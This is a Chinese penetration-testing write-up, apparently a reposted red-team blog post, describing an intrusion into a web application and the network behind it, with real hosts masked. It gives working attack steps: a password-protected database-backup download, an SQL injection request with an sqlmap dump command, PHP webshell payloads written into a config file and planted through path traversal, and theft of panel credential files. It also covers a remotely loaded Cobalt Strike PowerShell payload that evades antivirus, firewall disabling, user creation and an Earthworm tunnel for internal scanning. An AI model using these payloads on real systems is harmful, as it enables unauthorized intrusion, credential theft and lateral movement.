文章总结: 文档详细介绍了通过代码审计和SQL注入获取目标系统密码,利用配置文件写入webshell,绕过宝塔系统的函数限制,使用CobaltStrike进行远程控制,最终通过Earthworm工具穿透内网并探测存活主机的完整渗透测试过程。文章提供了具体的攻击命令和操作步骤,展示了从外网到内网的完整攻击链路,包括信息收集、权限提升和横向移动等技术要点。
综合评分: 87
文章分类: 渗透测试,内网渗透,代码审计,WEB安全,红队
【攻防实战】代码审计Getshell联动Cobalt Strike打穿三层内网(上)
原创
平凡安全
平凡安全
2025年11月8日 20:01
北京
「往昔所造诸恶业,皆由无始贪嗔痴;从身语意之所生,佛前我今皆忏悔」
「前言」
网络安全技术学习,承认⾃⼰的弱点不是丑事,只有对原理了然于⼼,才能突破更多的限制。
拥有快速学习能力的安全研究员,是不能有短板的,有的只能是大量的标准板和几块长板。
知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。
「最终成果」
最终收获的成果如下
「网络拓扑图」
本次攻防实战绘制出的网络拓扑图如下
「第一层 DMZ区」
访问目标站点
端口扫描
nmap -sT xxx.xxx.xxx.xxx
目录扫描:
把它的备份文件下载到了本地,解压源码进行代码审计
「代码审计拿密码」
搜索请求类型:
GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的
"MYSQLBAKPASSWORD"
全局搜索这个关键点
d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为:adminadminadmin
搜索关键点:密码 找到一个请求方法
"?action=mysqldatabak_down&pwd=您设置的数据库备份密码"
全局搜索这个方法名
"mysqldatabak_down"
找到一个数据库备份下载的页面,尝试去访问
http://xxx.xxx.xxx/kss_admin/admin_data.php
却提示未知的方法请求,上面的说到找到了密码和一个请求方法,可以直接利用:
http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin
访问后直接下载数据库备份文件,这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy,打开MySQL_Front工具
新建数据库,输入SQL文件
注意字符集是UTF-8
找到管理员账号密码进行登录,这里可以找到解密后的密码
「SQL注入拿密码」
hackbar构造payload:
http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212
v_oid存在布尔盲注,为真的时候返回订单金额不符
为假的时候返回,订单未找到
请求包如下:
POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: close
v_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212
保存成sql.txt
python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch
成功注入出账号和密码
「代码审计拿shell」
「数据库备份邮箱拿shell」
发现密码是存留在配置文件里的,那就反回去看配置文件是否可以利用
攻击地址:
输入账号密码,登录后发现系统设置页面是/kss_inc/_config.php文件里的内容,是可以直接写入webshell
如:
');@eval($_POST[a]);('
连接地址:
http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php
密码:a
木马写入在
后台shell
构造payload:
http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>
漏洞利用
连接地址:
http://x.x.x/kss_tool/_webup.php
密码:aye
密码:aye
「提权宝塔系统Bypass Disable Function」
禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然”宝塔”禁用这么多函数,权限却是”system”,那就找找宝塔的配置文件、后台路径。
后台路径:
C:/BtSoft/panel/panel/data/admin_path.pl
http://xxx.xxx.xxx:8888/e1VOsmtO/
密码:
C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj
宝塔的登录端口
C:/BtSoft/panel/data/port.pl
8888
登录账号:
C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)
然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
成功登录
成功登录
进入后台后可以考虑计划任务命令执行或者直接点,解封一个命令执行函数
成功执行命令
查看进程:
tasklist
存在火绒
「cs拿shell」
打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver x.x.x xxx
在Listeners面板中点击Add按钮,新建一个监听器,如图
生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图
保持默认配置,选择已经创建的监听器,设置输出类型为powershell,注意勾选x64,然后点击Generate按钮, 如图
这里把ps1传到个人服务器做远程加载演示,服务器一定要能被访问到,上传后可访问,下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过对部分命令进行修改,绕过火绒该防护,免杀部分会单独分享,此处只提供作为红队攻击成员如何实战。
成功绕过火绒的防护,cs成功上线
注入进程
「进行信息收集」
抓取到hash
通过解密得到了 administrator 的密码
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的
!
关闭防火墙
shell netsh advfirewall set allprofiles state off
打开3389端口
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行
「远程登陆」
「第二层 办公区」
「Earthworm穿透」
上传EW(Earthworm)到
C:/wwwroot/
服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090
探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24
192.168.59.4是存活的,我们着重看一下,发现开了80和6379
「网络安全感悟」
网络安全是一个长期的过程,因为网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。
如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!
「攻防交流群」
「声明」
文笔生疏,措辞浅薄,敬请各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:平凡安全 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://rdyx0.blog.csdn.net/
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:平凡安全 平凡安全《【攻防实战】代码审计Getshell联动Cobalt Strike打穿三层内网(上)》